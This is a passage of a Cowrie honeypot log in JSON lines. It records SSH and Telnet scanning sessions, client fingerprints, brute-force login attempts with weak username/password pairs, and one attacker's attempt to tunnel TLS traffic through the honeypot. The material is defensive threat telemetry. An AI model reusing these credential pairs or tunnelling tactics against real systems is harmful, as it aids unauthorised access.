sa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:26:34.464844Z","src_ip":"92.118.39.56","session":"57485f38eb9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:26:34.898926Z","src_ip":"92.118.39.56","session":"57485f38eb9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:26:36.007619Z","src_ip":"92.118.39.56","session":"57485f38eb9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.234","src_port":57408,"dst_ip":"159.203.135.109","dst_port":23,"session":"64c4e96c812f","protocol":"telnet","message":"New connection: 205.210.31.234:57408 (159.203.135.109:23) [session: 64c4e96c812f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:27:30.985403Z"}
{"eventid":"cowrie.session.closed","duration":9.879815101623535,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:27:40.865108Z","src_ip":"205.210.31.234","session":"64c4e96c812f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.118","src_port":45950,"dst_ip":"159.203.135.109","dst_port":22,"session":"b98301be8012","protocol":"ssh","message":"New connection: 80.94.95.118:45950 (159.203.135.109:22) [session: b98301be8012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:27:45.188004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:27:45.192372Z","src_ip":"80.94.95.118","session":"b98301be8012","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:27:45.298174Z","src_ip":"80.94.95.118","session":"b98301be8012","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:27:45.829815Z","src_ip":"80.94.95.118","session":"b98301be8012","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"54.170.77.26","dst_port":443,"src_ip":"80.94.95.118","src_port":59182,"message":"direct-tcp connection request to 54.170.77.26:443 from 127.0.0.1:59182","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:27:56.037983Z","session":"b98301be8012","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"54.170.77.26","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 54.170.77.26:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:28:00.097107Z","src_ip":"80.94.95.118","session":"b98301be8012","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"54.170.77.26","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x17\\x0e\\xc2_V\\x8d\\x86\\x05\\xd7g\\x16\\x82\\x8e\\x8b\\x8a\\xf2\\xbe4\\xf0Z{\\x87\\xd3![Fg\\x8e\\x19\\x90\\x07\\x81 \\xaaI\\xc2\\x1aG\\xf5\\x1f\\x83\\x94\\xd5\\x9cZ\\xfed\\xe0\\xcd\\xe1h\\xa6\\xc6KrCb<\\x9b\\x13\\xd5\\xb9i\\xc4\\xb1\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 OH\\xbb\\xc5q\\x16E,\\xe6z\\xde\\xcd$Ey\\xd6h\\xb1Rw\\x96\\x10?U\\xd1\\r\\xe0\\x15\\xbf\\\\\\xc9w\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 54.170.77.26:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x17\\x0e\\xc2_V\\x8d\\x86\\x05\\xd7g\\x16\\x82\\x8e\\x8b\\x8a\\xf2\\xbe4\\xf0Z{\\x87\\xd3![Fg\\x8e\\x19\\x90\\x07\\x81 \\xaaI\\xc2\\x1aG\\xf5\\x1f\\x83\\x94\\xd5\\x9cZ\\xfed\\xe0\\xcd\\xe1h\\xa6\\xc6KrCb<\\x9b\\x13\\xd5\\xb9i\\xc4\\xb1\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 OH\\xbb\\xc5q\\x16E,\\xe6z\\xde\\xcd$Ey\\xd6h\\xb1Rw\\x96\\x10?U\\xd1\\r\\xe0\\x15\\xbf\\\\\\xc9w\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:28:00.101073Z","src_ip":"80.94.95.118","session":"b98301be8012","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"95.100.221.76","dst_port":443,"src_ip":"80.94.95.118","src_port":32788,"message":"direct-tcp connection request to 95.100.221.76:443 from 127.0.0.1:32788","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:28:03.322868Z","session":"b98301be8012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":33908,"dst_ip":"159.203.135.109","dst_port":22,"session":"c95be8717c67","protocol":"ssh","message":"New connection: 14.225.2.125:33908 (159.203.135.109:22) [session: c95be8717c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:28:03.685631Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:28:03.945382Z","src_ip":"14.225.2.125","session":"c95be8717c67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":33912,"dst_ip":"159.203.135.109","dst_port":22,"session":"02864a9e07cb","protocol":"ssh","message":"New connection: 14.225.2.125:33912 (159.203.135.109:22) [session: 02864a9e07cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:28:04.215681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:28:04.222281Z","src_ip":"14.225.2.125","session":"02864a9e07cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:28:04.493792Z","src_ip":"14.225.2.125","session":"02864a9e07cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sunshine","password":"123456","message":"login attempt [sunshine/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:28:05.298213Z","src_ip":"14.225.2.125","session":"02864a9e07cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:28:06.569390Z","src_ip":"14.225.2.125","session":"02864a9e07cb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"95.100.221.76","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 95.100.221.76:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:28:07.157274Z","src_ip":"80.94.95.118","session":"b98301be8012","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"95.100.221.76","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfd\\xa7Q\\xba\\x92J\\xc3\\xc0\\xa0-*\\xafs\\xdc\\x18dv\\x11\\x0c!l\\x91\\xc0\\xe4M\\x9d\\xed\\xf5B\\xad\\x9a\\xac :\\xab!\\xea9\\xf8\\xe1\\xd2\\x87\\xcb\\x9aOa\\xd4o\"\\xf8\\x97i\\xd3\\x8f\\x82\\xba\\xa1\\xdb<AzJ\\x03\\x1ar\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 e\\x9e=\\xa2\\xdd\\t{\\xb8\\xc4\\xdb\\x0f\\xf7\\x9f\\xb5\\x88\\x0f\\xbd\\xb5y\\xe30\\xab=\\x05\\xc5\\xa6\\xe9G`@\\x8cf\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 95.100.221.76:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfd\\xa7Q\\xba\\x92J\\xc3\\xc0\\xa0-*\\xafs\\xdc\\x18dv\\x11\\x0c!l\\x91\\xc0\\xe4M\\x9d\\xed\\xf5B\\xad\\x9a\\xac :\\xab!\\xea9\\xf8\\xe1\\xd2\\x87\\xcb\\x9aOa\\xd4o\"\\xf8\\x97i\\xd3\\x8f\\x82\\xba\\xa1\\xdb<AzJ\\x03\\x1ar\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 e\\x9e=\\xa2\\xdd\\t{\\xb8\\xc4\\xdb\\x0f\\xf7\\x9f\\xb5\\x88\\x0f\\xbd\\xb5y\\xe30\\xab=\\x05\\xc5\\xa6\\xe9G`@\\x8cf\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:28:07.161303Z","src_ip":"80.94.95.118","session":"b98301be8012","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.152.119","dst_port":443,"src_ip":"80.94.95.118","src_port":34112,"message":"direct-tcp connection request to 142.251.152.119:443 from 127.0.0.1:34112","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:28:09.984123Z","session":"b98301be8012","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.152.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.152.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:28:12.926323Z","src_ip":"80.94.95.118","session":"b98301be8012","protocol":"ssh"}
